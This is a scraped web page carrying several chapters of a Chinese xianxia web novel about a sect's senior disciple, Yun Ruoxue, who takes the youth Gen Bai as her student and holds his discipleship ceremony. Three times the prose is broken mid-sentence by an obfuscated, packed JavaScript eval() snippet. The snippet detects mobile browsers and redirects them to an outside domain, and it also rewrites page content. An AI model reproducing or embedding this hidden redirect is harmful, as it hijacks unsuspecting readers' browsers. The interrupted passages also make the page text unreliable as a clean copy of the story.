“云师叔,弟子受薛长老派遣,前来问您拜师大典的安排,烦请打开琼华院结界。” 云若雪照做。 不一会儿便见门口数道各色剑光闪过,汇聚成一团,身影随风而动,衣袍翩跹,规矩地立于门槛之外。 定睛一看,不仅有薛长老派来的弟子,还来了三名不速之客。 又见到同门下三个师弟师妹,云若雪眼底滑过一抹不快,到底没有发作,“进来吧。” “云师叔。孟师叔。”薛朔拱手行礼,直起身时,目光掠过,直直落到亘白身上,脸上是藏不住的好奇,耿直开口,“这位就是云师叔新收的徒弟吗?” 云若雪微微颔首,算是回应,侧身让开大殿中央的位置,坐到主位上,眼神扫过,示意众人入座说话。 “我院中的人呢?”她这问话不辨喜怒,也没有特指的对象。 薛朔以为她这是发怒的前兆,一个激灵,忙站起身回话,“江,江师叔搬进来时带了不少人作伴,之前随侍在您身边修行的弟子都去了听风阁。” 孟檀坐在云若雪身侧,见自己的小师侄为了这么点小事大惊小怪,一张漂亮的小脸都被吓白了,忙出言宽慰,“搬出去就搬出去了呗,不是什么大事,你云师叔又不会吃了你。” 说着,她目光飘向坐在另一侧的三人。 若不是江丛莹动了要住进琼华院的心思,哪里会跑出来这么一档子破事?云若雪真要较真,想“恢复原样”,也该去找那三人的麻烦。 这不,人家三个师兄妹可坐得安安稳稳,跟没事人一样。 薛朔闻言擦了擦额头上不存在的汗,重新坐下,朝孟檀投去一个感激又崇拜的眼神。 “再说了,那些弟子从前天天被你催着修炼,早就民怨沸腾了,你不在的这三年可是放他们休息了好一阵,他们高兴还来不及。” 薛朔闻言连连点头,一副誓死追随孟檀的模样。 云若雪一时默然。 她从前是有些严苛,可修行之路艰难险阻,如逆水行舟,不进则退,身为宗门首席,严厉一些不也是正常的吗?却没想到惹了众人不快。 “罢了。”她摆摆手,不再纠结。 从前她囿于修炼瓶颈,每日矜矜业业,不曾懈怠,想为宗门做更多的事,只求一个安身立命之所,往后……就不必再枉费心机了。 “那……”薛朔试探着开口,“要不要把那些人重新安排回来?” “不必了,以后琼华院只住我一人。” “是。”少年松了一口气,终于谈到此行前来的目的。 “这位……亘师弟的拜师大典安排在明日午时,玉清殿中,弟子已通知了门中各个长老和尊上,他们得空的话会前来观礼。还有长老们送来的贺礼,稍后清点完后会送到琼华院库房中。” “辛苦了。” 云若雪不耐烦这些虚礼,但也知道这些琐碎的事处理起来非常麻烦,按理来说该她自己办的,怎么也轮不到戒律堂的薛朔头上。 “不辛苦不辛苦。”薛朔连连摆手,笑得腼腆,“对了,云师叔,那您看日后亘师弟住哪儿比较合适?” 云若雪一愣,脱口而出,“琼华院。” 薛朔手上的动作顿住一瞬,脸上的笑差点挂不住,这云师叔前脚才说要独居琼华院,后脚就驳了这话,要跟弟子一起住,变卦变得未免太快了些。 “知道了。”他连忙接茬。 却听身侧一道激烈的声音同时响起:“不行!” 看过去,只见亘白惊得差点从座椅上跳起来,手舞足蹈,强烈反对,“我不同意!” 一语惊四座。 他忙开口解释,“我觉得……刚入宗门,还是需要和别的弟子多交流交流,住在这琼华院中……” “未免太无聊了些?”云若雪睨他一眼,冷声替他补充完剩下的话。 亘白忙顺坡下,“是,就是太无趣了!” “修炼本就枯燥乏味,你也该学会在其中自寻乐趣。” 只这一句,就堵死了他的话。 亘白还欲讨价还价,嘴唇翕动,惊觉失声,在原地呜呜呜了半天,愣是再吐不出一个音节,连手舞足蹈的四肢都被法诀禁锢,只能老老实实坐在椅子上听凭旁人安排。 “呜呜唔唔——” 他哼哼唧唧,一双眼瞪得老大,眼珠子转了好几圈,脸上的肌肉都在用力,死死盯着云若雪,还是如蚍蜉撼树。 “好了,他的住所我自会安排。” “是。”薛朔收回目光,颇为同情地看了眼亘白。 他入宗门的时间不久,与云若雪只有过几面之缘,后来云若雪外出三载,更是接触不到,但也在弟子们的口口相传中听说过她修炼狂魔的名声,那叫一个严苛! 以后琼华院中只住他们师徒二人,这小师弟还不知要被摧残成什么样!可怜,可叹! “呜呜呜唔唔——”亘白挣扎得更厉害。 “好了,你回去吧,明日拜师大典还需你和薛长老多费心。”云若雪看向薛朔,摆摆手示意他离开。 “是。”薛朔如蒙大赦,连忙站起身,一溜烟逃出了大殿,跟后面追了洪水猛兽一般。 “这小师侄未免太胆小了些。”孟檀略一扶额,小声嘀咕,忽然一脸嗔怪着看向云若雪,“定然是你名声太臭,吓到了人家。” 云若雪懒得搭理她,终于将目光放到一开始就被她晾在一旁的三人身上。 谢铮和江丛莹还算耐得住性子,面上并无不悦,倒是乌鸿神色有几分不满,却也知道强忍着,没有发作。 “你们有何事?” “师姐,收徒这种大事……你怎么能随随便便从外面捡人回来?”乌鸿撇撇嘴,看向亘白的眼神颇为不恁。 “二师弟不也是我捡回来的,有什么问题吗?” “二师兄是二师兄,哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说罢,她目光别有深意落到江丛莹身上。 不知道为何,自从这次回到太虚宗,再见江丛莹,她总有种说不出来的感觉,似乎是熟悉……却恍恍惚惚感知不真切。 这小师妹定然是有问题的。 那么跟她混在一起的谢铮和乌鸿,下场如何,就未可知了。 她对这两个师弟谈不上喜欢,也谈不上讨厌,往昔的恩威并施不过是尽一个大师姐的职责,至于往后……这两人既然已看不惯她,她也不会再惯着他们。 恰此时。 江丛莹竟也看向了她。 撞上目光,两人都不避不闪,赤.裸.裸的打量。就像三年前的那件事,真相如何,彼此心知肚明,一切纷繁的疑窦,如迷雾般,不过是旁人的无聊猜测。 “师姐你……”乌鸿被她的表情吓了一跳,低声喃喃。 这近乎是自言自语的低语声却突兀得如一块从天而降的巨石,嘭然砸进宽阔平静的水面,打破了云若雪和江丛莹两人之间微妙的氛围。 彼此默默移开了目光。 乌鸿的眸光凝聚在那片片冰花上,早已经歇了气焰,如被霜打蔫了的茄子一般,略有些失神和无措。 他不过是想说实话,以云若雪的根骨,闭关也不会什么突破,倒不如多多为宗门做贡献,换取更多丹药和法宝,省了在洞府中蹉跎光阴。 只是今日…… 7. 神姿高彻 他从没见过云若雪这般脾气外露,发这么大的火,明明以前无论他怎么捣乱,说什么难听的话,她都视而不见,充耳不闻……甚至可以说包容。 唯一严厉的地方就是督促修炼。 不过是下山一趟,怎么就变成了这样? “请回吧。”云若雪站起身,指尖的霜花瞬间消融,抬起手,已经是毫不遮掩的赶人姿态,“我就不送了,日后不要再尾随旁人闯进我这院子。” “师姐……”乌鸿彻底软了语调。 云若雪抬起的手没有放下,态度强硬,“请吧。” 三人几乎是被寸寸寒意逼迫着踏出殿门,刚越过门槛,身后便是一股毫不留情的巨力,简直要将人掀飞出去,驱逐到结界之外。 背后一片皮肤萦绕着不散的寒意,乌鸿起了一身鸡皮疙瘩,耷拉着脑袋看向谢铮,“师兄,大师姐下山是不是遇到了什么事,怎么会变成这样?” 江丛莹唇边笑吟吟,出言宽慰,说出的话却别有一番深意,“山下多精怪,也许大师姐是……” “不可胡言!”谢铮厉声打断,眉眼沉下,瞥向琼华院的目光却晦涩三分,“欺霜剑认主,师姐回宗时御剑而行,不会有旁的可能。” 江丛莹一怔,见目的并未达成也不恼怒,脾气依旧很好,“那便不提此事了。” “明日拜师大典,想必师尊会出席,丛莹拜入太虚宗这么久,都没有见过师尊几次。”她说罢轻轻叹一口气,垂下眼睑,笼在袖子下的指节却不自觉攥紧。 她费尽周折前来太虚宗,冒着巨大的风险,日日殚精竭虑,提心吊胆,为的就是谢晟,就是那名满九州四海的剑仙,可不是想在这儿蹉跎岁月,陪一群无用的人唱兄友妹恭的戏。 旁人看她,却是少女眉目含情,似蹙非蹙,化不开淡淡的愁绪,让人瞧一眼就忍不住心生怜惜,巴不得凑上去安慰一番。 乌鸿也确确实实这么做了。 “师尊一向行踪不定,闭关三年五载都是常有的事,待他出关,师妹在修炼上有什么问题大可放心去问。” “丛莹知道了。”她轻轻颔首,神情似曙光破晓,雨后初霁,瞬间亮堂起来,笑靥如花,让人为之惊艳沉迷,“这些年多谢两位师兄指教。” 乌鸿被她笑容恍了神,白皙的脸上爬上薄红,挠挠头遮掩过去,含含糊糊道,“没什么,都是师兄该做的。” “走吧。”谢铮缄默不言,率先转身离开。 云若雪之于他,其实感官很复杂。 当年镇上出邪祟,他饥贫交加,孱弱可怜,差点死在妖物手中,是云若雪如天神降临,一袭青衣,神姿高彻,率太虚宗弟子前来除妖扶弱,手挽剑花,平息妖邪。 每每闭上眼,他都能回忆起那天的场景。 天上飘着碎雪,一粒一粒,颗颗分明,砸下来,化开了是冰冷黏腻的水,落入脏污里,被行人踩踏过一遍又一遍。 妖物兴风作浪,草菅人命。 夜里燃起冲天火光,男女老幼嘴里发出惊恐的哭喊,他弄不清状况,一颗心只能无助地跟着怦怦乱跳,混迹在人群中,手脚冻得发僵了,连受伤流血的地方都感觉不到痛,努力想躲避群妖的撕咬。 和平的年岁里尚且无人在意街角乞丐的死活,更何况在那些动荡的光景里。 夜很深很深,仙门的弟子很快赶到,与妖物厮杀成一片,火光里掺杂血光,褐色污泥覆盖上残肢断臂,染成令人作呕的红褐色。 正是冬夜将尽,曙光乍破时,云若雪从一只喜嗜人族血肉的老树妖手中救下了他,漫天的冰花和飘雪,凛冽又干净。 就在那一瞬间,他再看不见别的人,别的事。 连生死都忘却了。 只记得那一抹孤高寒彻的影子。 最开始他是多么崇拜她,到了私下里暗暗发誓,要结草衔环,肝脑涂地,报她当年救命和知遇之恩的地步。 后来一入仙门。 他进步得越来越快,修炼上越来越顺,不知不觉间便已将当初为他引路的人远远甩在身后。 花团锦簇时烈火烹油,一切都张扬、欢快。他身边慢慢聚集起了数不清的人,数不清的脸,形形色色,或恭维讨好,或由衷钦佩,或不屑地挑衅。往来切磋,亦师亦友。 以至于……后来他们也曾相互配合,率领弟子们下山历练,比肩对敌,数次相互交付性命,你救我,我救你,数不清谁欠了谁,谁救了谁。 这些本应刻骨铭心的经历竟没有在他头脑里留下多少深刻的记忆。 …… 另一边。 目送那三人吃瘪离开,孟檀看了一场好戏,抖了抖衣袖,心满意足,也跟着站起身,“看你们师徒二人还有话要说,在下就不打扰了,先行告辞。” 说罢,她一溜烟走了。 临了不忘朝亘白投去一道怜悯的目光,简直跟方才薛朔离开时的眼神一模一样,看的亘白莫名其妙,背脊一凉,好似被什么凶兽盯上一般。 孟檀一直都留意着身边这小子,所谓的云若雪的“劫”,确确实实是个难搞的刺儿头,明明被禁锢在座椅上,下了禁言咒,一双眸子却也愤怒得好似能喷出火来。 得,让他们师徒两个吵架去吧。 “呜呜唔唔——” 亘白用力挣扎,本来好好坐在椅子上,这下如一条搁浅的鱼,身子硬挺挺地蹦跶,滑落到地上,高高扎起的马尾垂到肩头,额前碎发妨碍视线,让他不得不梗起脖子直视云若雪,显得狼狈又好笑。 “还不老实?”云若雪一挑眉,看向他的眼神颇为无奈。 不知道是无奈他挣扎不脱,还是无奈两人不得不绑在一起,以后怕是会折腾得厉害,过不上太平日子。 “呜呜唔唔!” 她蹲下身,将少年脸颊一侧的碎发别到耳后,扶他坐正,软下语调,似乎是商量的语气,“你也清楚,如今你我是一根绳上的蚂蚱,你太弱了,对我没有好处。做我的弟子,有太虚宗撑腰,安心修炼,再不必过从前朝不保夕的日子,不是很好吗?” “灵石、法宝、顶级功法,大能指教,你唾手可得。” 云若雪唇瓣一张一合,吐出的字字句句仿佛重重掷在地上,敲出叮叮咚咚的清脆声响,恰好不经意敲入亘白心头。 她解开了少年身上的桎梏,缓缓将人从地上扶起来。 亘白神思恍惚一瞬,忽然冷静下来,目光凌厉瞥向她,只差没将“怀疑”二字写在脸上,“你会这么好心?” 之前那一遭,他才不信云若雪是什么善男信女,对自己都下得了狠手的人,对旁的人只会更残忍。 什么狗屁的同命蛊,傀儡术,如今云若雪强他千倍百倍,只要她想,轻而易举就能找到法子让他沉睡,确保神魂不散,再封印于无人之地。 如此,今生今世,永永远远无后顾之忧。 何必大费周章将他拘在身边看管,还想悉心栽培? 他们之间,从一开始就只能活一个。这是共识,云若雪此时却表现出一种想要打破共识的虚假动作,他如何不心生警惕? “我想要对你做什么,早就做了,不是吗?”云若雪直直望进他的眼睛,不避不闪,好似发自肺腑般坦诚相待,“但我没有。” 她当然有数不清的办法可以让亘白安安静静呆着,阖眼长眠,不会死,但也不会到她眼前蹦跶,更不会被旁的人杀害。 但既然相逢是为应劫,逃避只能是下下策。 这劫越是酣畅淋漓,越是险象环生,她越能得偿所愿。 云若雪抬手轻轻拍在少年肩膀上,一副和蔼慈爱的长辈模样,“我不需要一个拖后腿的队友,你也不要让我失望。” “我才不修你太虚宗的功法!”亘白别过头去,依旧是防御的姿态。 她却笑了,“随你修什么,只要你有本事不被发现。” 说罢,她停顿一瞬才补充道,“不过以你目前的修为,在这太虚宗内……怕是藏不住邪修功法。” “你!”亘白气得脸红。 “哈哈哈哈……走吧,乖徒弟。”云若雪推着他越过大殿门槛,大手一挥,解开了琼华院内部所有的小结界,“看看这琼华院有没有你喜欢的房间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128440|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亘白半推半就,毫无办法。 一狠心一咬牙,他偏偏选了离云若雪卧房最近的一方院落,不仅灵气充沛,还风景优美,院中丛丛翠竹,亭亭直立,风过时便听得见沙沙声响,和谐悦耳,最宜静心修炼。 更重要的是,云若雪今日让他如此不痛快,他也不会让她好过! 不就是相互膈应,谁怕谁! “你要住这儿?” “当然。”他斩钉截铁,“师父不会舍不得割爱吧。” 云若雪一抬手,示意他进去,“住吧。” 这竹园绝大部分时间是空置的,只偶尔谢晟心血来潮,找她商谈事情到太晚,便会暂居一夜。 她一直不太理解,修仙之人,缩地成寸,从琼华院到望云殿,对于谢晟来说不过是瞬息间的功夫,何必要在她这儿留宿一晚…… 不过她身为弟子,不太好置喙师父的做法,也不关心,只能凭君开心。 亘白推开院门进去,顿觉一股清幽寒凉之气扑面而来,凉丝丝的,却不显得冷冽,潮湿里又不显得黏腻,清爽怡人。 脚下一条青石板路,路旁丛丛低矮的绿植,奇花异草,叶片上聚着露水,一团一团,微微发亮。 向里走,穿过拱门,青苔滋生在角落,点缀片片绿意,道路两旁修竹万竿,竿竿如碧玉裁成,高的已过了檐角,低的也及腰深,风过时叶叶相摩。 到了竹荫深处,听得檐下青玉铃脆响声声,阶前几丛兰花摇曳生姿,香味漫在湿润的空气里。 云若雪推开房门,“进去吧。” “这儿之前住过人?”亘白脚步一顿,观这院中陈设处处雅观精致,清幽静谧,极显主人品味,不像是空置的模样。 “没人住,进来吧。” 亘白踏进去,又因寒凉的风一个哆嗦,皱着眉,“既然以后这地方归我了,我总能随意支配吧?” “随你,但院中花草珍贵,不可随意破坏,你不喜欢就安排人移植到别处。” “好嘞!”少年马上绽开个明媚的笑容,脚下的步子都雀跃三分,竟觉得留在这太虚宗也是个不错的选择。 思及此,他立马背地里唾弃,暗自警告可千万别放松了戒备! “明日拜师大典上刻制身份玉牌,我会带你去,今日的时间你随意安排。” 说罢,云若雪转身离开竹园,风吹竹影间回到了自己的寝殿,安心阖目修炼。 亘白见无人监管,更是得了自由,立马放松下来,毫不客气一把推开卧房门,目光掠过,打量起室内的装潢。 木质的房梁和地板,涂一层透明的漆,保留了原本的色彩,光影下确蒙一层淡淡的珠光,纹饰雕琢质朴,自然大方。 撑开小窗,入眼是爬满藤蔓的墙,葱葱一片,景色怡人。 更重要的是此地灵气充裕,比之他前些日子朝不保夕不知好了多少倍! 午后阳光浓烈,照见竹影斑驳,他四处游荡,在小院背后发现了一泉水池,水中游鱼三五成群,他伸手想捞,捞不起来便也一笑置之。 就这么蹉跎时光到傍晚。 眼见着月上中天,夜风习习,他终于安静下来,推门回到竹园,刚关上门,咔哒扣上门栓,忽觉一道黑影迅速从门外略过,悄无声息的,只卷起一阵寒意。 他打了个哆嗦,露出条门缝朝外看,什么也没看到,心里嘀咕着朝卧房走。 另一边。 云若雪正在房中打坐,酣畅淋漓时竟又有人触动她布下的结界,心头冒出一股烦闷,以为是亘白在作妖,猛一睁开眼,忽觉不对,忙不迭起身。 “师父。” 谢晟推开门进来。 隔着屏风,人影在昏黄灯火下晃动,光晕模糊了轮廓,彼此都看不真切,云若雪三两步绕到前面,拱手行礼。 “师父有何事?” 她强压下心底的烦闷,毕恭毕敬,不明白自己不过是外出一趟,回来后这人怎么三天两头往她跟前凑,难道是觉察到了什么异常? 一时心头震动。 她言语和态度愈发谨慎。 8. 双刀 谢晟不出声,只是上前将人扶起。 “收徒一事,你之前怎么不提。” 云若雪抽回手,默默退后,离他远了些,神色讪讪,“之前行事匆忙,是弟子疏忽,如今您知道了,也是一样的。” 谢晟手心里一空,只指尖残存袖角冰凉柔顺的触感,眸底下意识掠过一抹不快,连他自己都没有捕捉到。 “你从哪儿带回来的人,身世背景可都清楚?” “弟子带回来的人您还信不过吗?” 云若雪并不正面回答,反而将问题抛回去,眼神不闪躲,目光真诚,仿佛问心无愧。 白衣剑仙默然一瞬,兀自到桌前坐下,云若雪只能陪着,相对而坐,看他动作似行云流水,美不胜收,骨节分明的一双手拿起青色杯盏,斟上一盏清茶,推到她身前。 她被那翻飞如蝶翼的手指晃了眼,灯下映出杯盏中茶叶起起伏伏,质感温润如美玉,香气扑鼻,一时出神。 “为何收他为徒?” “山下遇妖.兽.暴.动,奔袭成潮,弟子身受重伤,是他出手搭救,还因此伤了丹田,沦为凡人……”云若雪捧着茶杯浅浅抿了一口,眸光向下,定格在木头桌面的纹路上。 “弟子既毁了他的仙途,就还他一个。” “原是如此。” “是。”云若雪点头认下,脸不红心不跳。 更大逆不道的事她都已经做了,也不差说这么一个小小的谎。 “你将竹园给了他住?” 云若雪不明所以,“此事有何处不妥吗?竹园常年空置,他住得离我近些也好。” 亘白可不是个安分的人,既然要放在眼皮子底下,那自然是越近越好,她还怕他不选竹园呢。 谢晟重又沉默,放在身前的清茶一口没动,水雾氤氲。 “宗门事务繁杂,你又遣散琼华院众人,他独自一人参悟修炼,怕是……” 云若雪终于听出了他言语间的目的,铺垫这么多,似是不满她对亘白的安排,可她自认安排妥当,合乎规矩,便打算装傻充愣,不过多揣度。 抬眼,眸光流转,“师父,我已跟二师弟说过,日后宗门事务有执事长老和各弟子负责,我不会再插手。” “况且,从前您常常闭关清修,二师弟和三师弟也是由弟子引导修行,如今只带亘白一个,不会耽误了他。” “你执意要如此安排,那便如此吧。” 说罢,他拂袖而去。 云若雪忙不迭起身,“恭送师尊。” 回应她的是重重闭门声,连着墙壁,撑起窗棂的支竿抖了抖,啪嗒一声被震落到地上。 云若雪缓缓直起身,搞不懂他哪里冒出的火气。 自她回来,二人不过见了两次,两次谢晟都这般“心情不快”,让她一时摸不着头脑,莫非是她不知什么时候得罪了他? 可不该如此的……她明明什么都没做。 若说是谢晟发现她身上的异常,那也不会。 谢晟虽性子冷清,但也是个耿直的人,尤其太虚宗上下还是他说一不二,有什么怀疑当场便查验拆穿了,不会用旁的手段与她虚与委蛇,小心试探。 想不出个所以然,索性就不想了。 云若雪走到窗前,推开窗,抬起手,支竿浮于半空,稳稳飘落入掌心,重新将窗户撑起,坐回案几前,青绿色玉质茶壶上空依旧缭绕着袅袅热雾,谢晟方才动作过大,杯盏中水波摇晃,洒落了几滴到桌面上。 窗外月光如水,夜色蔓延。 屋内灯火葳蕤。 云若雪枯坐半晌,目光落在起伏飘荡的茶叶上,浅绿色的水清澈透亮,渐渐地,热气散了,绿意沉沉,她尝试静下心来。 却不得法。 天下仙门正道,最是慈悲为怀,也最是冷酷凉薄。她占了首席弟子的名头,享受那么多修炼资源,却囿于修为,无法为宗门增光添彩,只能更加努力勤勉,从别的地方为宗门做出贡献,才勉强堵住悠悠众口。 自长夷一带海晏河清后,太虚宗日益昌盛,谢晟一闭关便是三年五载,岁月消磨了两人本就不多的昔日情分,她在宗门中处境愈发尴尬。 到了不得不强迫自己抽空做一副虚伪的嘴脸,带着关心的姿态主动凑上前嘘寒问暖,借口宗门琐事,踏上剑山之巅,于望云殿中交谈寒暄。 她几乎以此为习惯。 习惯看谢晟的脸色。 思及此,她略略松口气,端起冷掉的茶水,仰头一饮而尽。茶香沉淀后是便泛着一股淡淡的苦涩,一路流淌进喉咙里。 她阖上眼,直到舌尖的味道消散了才睁开。 只要一想到往后再也不用像从前那般生活,她就高兴得差点笑出声来,那张苍白得跟死人一样的面庞顿时如春花争现,美不胜收。 翌日。 拜师大典在玉清殿按时举行。 薛长老与云若雪往昔私交不错,也未因三年前之事生出嫌隙,此次对于她的拜师大典更是格外用心。 天还未亮便遣人到琼华院开始做准备,硬生生将刚刚在体内存了点灵气,还没能脱去凡人习气的亘白从被窝里拽了出来。 好一番收拾打扮,梳洗换装。弄得他一边骂骂咧咧一边老实配合,不然戒律堂的“热心”弟子那是真的会打人的。 云若雪换上一身孟檀最满意的道袍,也就是最贵的那一身,美其名曰这样才镇得住场子,好让众人瞻仰瞻仰太虚宗首席的风骨。 她一笑置之,从善如流。 数声钟磬,白鹤惊飞。 玉清殿外众人屏息观礼。 云若雪一袭白袍,袖口和交叠的衣领处缀着夺人眼目的红,似化不开的一滩血,红梅点点,秾丽绚烂。而她置身数不清的视线中央,不避不闪,脊背挺拔如锋芒难掩的利刃,寒光四射,乍破云霄。 大殿之外。 亘白也是一袭华服,手里三炷香,敬这一方天地神明,祖宗仙家。弯了三次腰,众目睽睽下山巅风起,香燃得更快,落下簌簌的灰,一起飘进广场上的青铜巨鼎中。 他转身朝云若雪走来,一步一步,随着司仪官口中的指令动作,跟一具没有生命的木偶一样,全然配合。 走得近了,不期然间两人眼神撞上,他颇不自在垂下眸光,心底不由生出一种在熟人面前装腔作势又恰好被撞破的尴尬。 这所谓的师徒情分,他跟云若雪信心知肚明到底是怎么一回事。 递上拜师帖,他又叩首行礼。 大殿中金碧辉煌,两旁观礼的人议论纷纷,道贺声音不断,有的调笑打趣,催促着,云若雪顺势将人从地上扶起,送上一份拜师礼。 “今日后,你我师徒一体,我当倾囊相授,你也不要辜负为师的期望。” “弟子谨记师尊教诲。” 亘白深深呼出一口气,恭敬又跪下,深深一叩首,长发被风吹起,斜斜垂落到白玉砖上,迤逦了一地的华光,这才挺直腰,举手接下云若雪递来的锦盒。 这世上简直没有什么比众目睽睽之下给“仇人”磕头更屈辱的事了! 那盒子拿在手里沉甸甸的,长长一条。 云若雪垂眸,伸出手,指尖荧光流转,将人从地上扶起。 “你打开看看。” 亘白依言照做,盒子打开,一股华光迸射而出,晃花了眼,接着便是凌凌厉厉一道风刃,直击面门,云若雪抬手为他一挡,暴烈的风刃如春风化雨,只撩起少年脸颊两侧的碎发。 盒子里面躺着一对双刀。 光华灼灼。 少年神色呆愣一瞬,紧接着眸底飞过一抹惊艳之色。 同样惊艳的还有从旁观礼的其他人。 “是昭玄和昭黄!” 乌鸿一声惊呼,双刀齐齐从锦盒中跃起,刀鞘落下,便是两道寒芒,雪白的刀刃反射天窗落下的光,晃花了众人的眼。 刹那间,大殿中狂风呼啸,衣袍翻飞,好些个来凑热闹的小弟子差点被风刮得站立不稳。刀光掠过重重人影,在这大殿中横冲直撞,小弟子们闪躲不及,你踩到我的鞋子,我踩到你的衣摆。 亘白压住乱飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128441|180164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宽袖,试图抬手抓住那双刀,却被两件灵宝灵巧侧身躲开,刀光滑过指尖,好似淌过指缝的流水,故意戏耍他一般。 “回来。” 云若雪一声令下,两柄雪白的刃顿时藏入刀鞘,稳稳落在她掌中。 “好厉害的刀……”人群中弟子小声议论,交头接耳。 这般能够呼唤出人间风雨的宝物,居然被送给了一个刚刚入门的小弟子,也不知将来此人是何等造化,简直教人眼红嫉妒。 “拿着。”云若雪将双刀放入他掌中。 亘白垂下眸,骨节分明的一双手,指尖摩挲刀柄上复杂华丽的纹路,均匀的刻痕,打磨得光滑细腻,勾勒成凶兽图案,青面獠牙却凛然似昭昭日月。 倏然,他退后一步,踩着殿宇中白玉铺就的地砖,靴底碾过地面,一阵细微的轻轻响,抽刀而出,刀刃摩擦声清脆悦耳,带起灵气翻涌,漾开层层微澜。 两柄秋水般的细长利刃脱鞘而出,刀身窄如柳叶,刃口泛着冷光,似淬了皎皎月华,刀柄在掌心转了个利落的圆。 昭玄贴着小臂滑至肘弯,刀刃朝上划出半道冷弧,威压迫人,昭黄则斜斜下沉,刀背轻磕地面,刹那,平地起波澜,却在众人一阵惊呼声中敛尽锋芒,任由破碎的寒光重新聚合。 旋身之间,手腕翻折,双刀在空中挽起一对漂亮利落的弧度,行云流水,衣袂张扬,红绸穗子轻轻摇晃,铿然一声,刀已藏入鞘中。 “好趁手的一对刀。”他脸上绽出个真心实意的笑,声线雀跃,“多谢师父。” 云若雪一瞬失神…… 少年方才那几个简单的动作,那样的身法,似曾相识,却又想不起来到底是在哪儿见过。 回过神,她轻轻摇头,示意不必多谢。 她曾在外漂泊多年,见过数不胜数的人,数不清的招式,偶尔见到些眼熟的也是正常。 而在这偌大的殿宇中,同样失神的还有另一人。 江丛莹不自觉攥紧了袖中的手,心下沉沉,沉入深不见底的深渊,绷紧了薄薄一张嘴唇,差点掩饰不住眸底的阴鸷。 隔着数不清衣袂翩跹,人头攒动,只一眼,只有一眼,她轻易就被那模模糊糊神似的身姿,如浮光掠影,幻觉一般,轻易被死死攫住。 这么一个小小的修士……不知从哪里笨拙偷师而来的三脚猫功夫,竟然……竟然有那么几分神似那位大人。 他也配! “师妹,你想什么呢?”乌鸿拍拍江丛莹的肩膀,惊醒了她短暂的迷梦,思绪归位时,怅然若失。 “没……”她喃喃一声。 “走,正好把我们备的贺礼送过去。”乌鸿先走一步,随着恭维的人群围上去,回头招招手,示意江丛莹跟上。 她有些魂不守舍,目光不自觉飘向被人群围在中心的少年,高高束起的马尾,意气风发。这一细看,却发现他身上无一丝一毫肖似旧人,仿佛刚刚那一刹那,只是错觉罢了。 可为什么非要是双刀! 那个人,用的也是双刀。 春去秋来,时节更替,晃眼之间竟已是二十三年! “师妹?”谢铮也看出她的失态,侧身垂下眸,面上关切,“你怎么了?” “没事。”她仰起脸,嘴角强行扯出一个笑,在天赋术法的掩饰下竟没有惹人怀疑,“走啊二师兄,也不知我送的东西亘师侄会不会喜欢。” 说着话,二人拨开人群站到云若雪和亘白面前。 乌鸿的声音先传入耳中,带着点撒娇嗔怪的意味,“师姐,这对双刀我之前求了你那么久,你竟然会给他。” “你不适合。”云若雪撇开他的手。 他正想张嘴辩驳,谢铮看到云若雪脸上的不耐,忙出声制止,“好了师弟,你如今也是长辈,不缺法宝,怎么跟晚辈抢东西。” “就是,那么大个人了,也不害臊。”孟檀神色戏谑,把他看得面红耳赤。 乌鸿慌慌张张将贺礼塞到亘白怀里便一溜烟跑到了人群后面。 谢铮和江丛莹也送上贺礼。 9. 情感箴言 “师姐,昨日在琼华院中……” “不必再说。”她抬手打断,看向谢铮的眼神冷下来,“今日拜师礼,我不想与你争执,一切按照我说的办。” 他左右环顾,人群中已有人投来好奇的目光,只能点头应下,“好。” 云若雪终于露出几分真心实意的笑,拍了拍亘白的胳膊,“如此厚礼,还不快谢谢你两个师叔。” “多谢师叔!” 亘白收礼收到手软,一副掉进钱眼儿里的样子,完全不过脑子,云若雪说什么便是什么,乐呵呵地鞠躬行礼。 倏然。 嘈杂的人声迅速安静下来,围在两旁的人下意识让开道,直通那扇高耸厚重的殿门,谢晟背着光,一步步朝里走。 仙君锋芒太盛,昭昭似悬日之光,又如出鞘的利剑,教人不敢直视,两旁的修士退避半步,颔首垂眸,“参见仙尊。” 眨眼之间,他出现在人群中央,只在空气中留下一抹迅速消逝的白色影子,一双眸子黑漆漆的,眉眼沉沉。 云若雪心头一跳,细看,看不出他面上的情绪,却直觉不太妙,薄唇紧抿,暗自戒备,随众人躬身行礼,“师父。” 亘白直愣愣站在原地,怀里还捧着一堆礼品,包装精美的盒子向上堆砌,差点将他的脸挡了大半,呆呆看向谢晟,一副看起来不太聪明的样子。 云若雪深呼出一口气,瞪向亘白,只觉得这人是故意作妖,装傻充愣,找她的不痛快。也不等谢晟开口,连忙直起身,飞快将少年怀里的东西收入乾坤袋中,掐了一把他的腰,“还不行礼。” “啊,是是……”他回过神来,一拱手,“参见师祖!” 谢晟久久不言,久到殿内众人屏息凝神,都觉察出了气氛的微妙。 云若雪抬眸直视,语气疑惑,轻轻唤了声,“师父?” “平身吧。” 亘白如蒙大赦,悬在头顶的威压缓缓散去,惊出冷汗涔涔,打湿了贴身衣裳,直起身时同样满脑子疑惑,眼神却不敢乱瞟了,乖乖退后,躲到云若雪身后。 